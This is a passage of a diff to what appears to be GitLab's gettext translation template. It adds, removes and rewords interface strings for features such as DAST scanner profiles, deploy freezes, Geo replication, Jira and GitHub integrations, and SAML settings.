+msgid "Couldn't assign policy to project"
+msgstr ""
+
msgid "Country"
msgstr ""
@@ -8761,19 +9051,15 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
-msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
-msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
-msgstr[0] ""
-msgstr[1] ""
-msgstr[2] ""
-msgstr[3] ""
-
msgid "Create"
msgstr ""
msgid "Create %{environment}"
msgstr ""
+msgid "Create %{humanized_resource_name}"
+msgstr ""
+
msgid "Create %{type}"
msgstr ""
@@ -8918,9 +9204,6 @@ msgstr ""
msgid "Create new file or directory"
msgstr ""
-msgid "Create new issue in Jira"
-msgstr ""
-
msgid "Create new label"
msgstr ""
@@ -8942,6 +9225,9 @@ msgstr ""
msgid "Create snippet"
msgstr ""
+msgid "Create tag %{tagName}"
+msgstr ""
+
msgid "Create wildcard: %{searchTerm}"
msgstr ""
@@ -9095,6 +9381,9 @@ msgstr ""
msgid "Created"
msgstr ""
+msgid "Created %{epicTimeagoDate}"
+msgstr ""
+
msgid "Created %{timestamp}"
msgstr ""
@@ -9158,6 +9447,9 @@ msgstr ""
msgid "Creating graphs uses the data from the Prometheus server. If this takes a long time, ensure that data is available."
msgstr ""
+msgid "Creating pack file bitmaps makes housekeeping take a little longer but bitmaps should accelerate 'git clone' performance."
+msgstr ""
+
msgid "Creation date"
msgstr ""
@@ -9462,8 +9754,12 @@ msgstr ""
msgid "CycleAnalytics|Show"
msgstr ""
-msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
-msgstr ""
+msgid "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} label"
+msgid_plural "CycleAnalytics|Showing %{subjectFilterText} and %{selectedLabelsCount} labels"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9558,6 +9854,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9627,6 +9926,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9687,6 +9992,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9720,6 +10028,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9750,12 +10061,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9835,6 +10158,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9865,6 +10191,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10294,13 +10623,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10411,9 +10746,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10441,9 +10773,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10559,9 +10888,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10721,13 +11047,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10742,7 +11068,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -10998,6 +11324,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11241,6 +11570,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11253,6 +11585,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11472,6 +11807,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11496,6 +11834,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11508,6 +11849,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11520,6 +11864,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11631,6 +11978,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11700,9 +12050,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12330,19 +12677,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12351,7 +12698,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12462,9 +12809,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12531,6 +12875,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12600,6 +12947,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12612,12 +12962,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12645,9 +12989,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12669,13 +13010,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12774,6 +13118,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12801,9 +13148,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12852,9 +13205,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -12909,9 +13259,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13297,10 +13644,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13333,7 +13680,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13435,6 +13782,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13483,12 +13833,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13498,9 +13851,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13525,6 +13875,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13534,6 +13887,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13549,6 +13905,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13567,9 +13926,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13831,6 +14187,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13873,9 +14232,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -13900,6 +14265,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -13933,6 +14307,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -13960,6 +14340,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -13972,6 +14355,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -13999,6 +14406,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14011,6 +14421,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14044,6 +14457,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14089,6 +14505,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14218,6 +14637,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14341,6 +14766,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14383,9 +14826,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14515,16 +14955,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14536,6 +14973,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14593,6 +15033,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14674,9 +15120,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14779,9 +15222,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14797,7 +15246,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -14893,9 +15345,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15091,9 +15540,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15229,9 +15675,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15414,6 +15857,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15582,6 +16028,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15746,9 +16198,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15798,12 +16247,15 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15813,9 +16265,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16401,6 +16850,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16573,6 +17025,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16618,9 +17073,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16645,6 +17097,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16681,9 +17136,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -16879,7 +17331,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -16888,7 +17340,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -16897,25 +17349,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -16930,6 +17382,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17092,6 +17547,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17101,6 +17559,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17188,6 +17649,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17251,6 +17715,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17338,6 +17805,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17350,9 +17820,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17392,7 +17871,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17413,7 +17895,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17425,12 +17907,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17647,15 +18135,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17746,6 +18225,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -17951,6 +18433,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18363,6 +18848,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18432,6 +18920,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18606,6 +19097,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18645,6 +19139,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18669,9 +19166,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
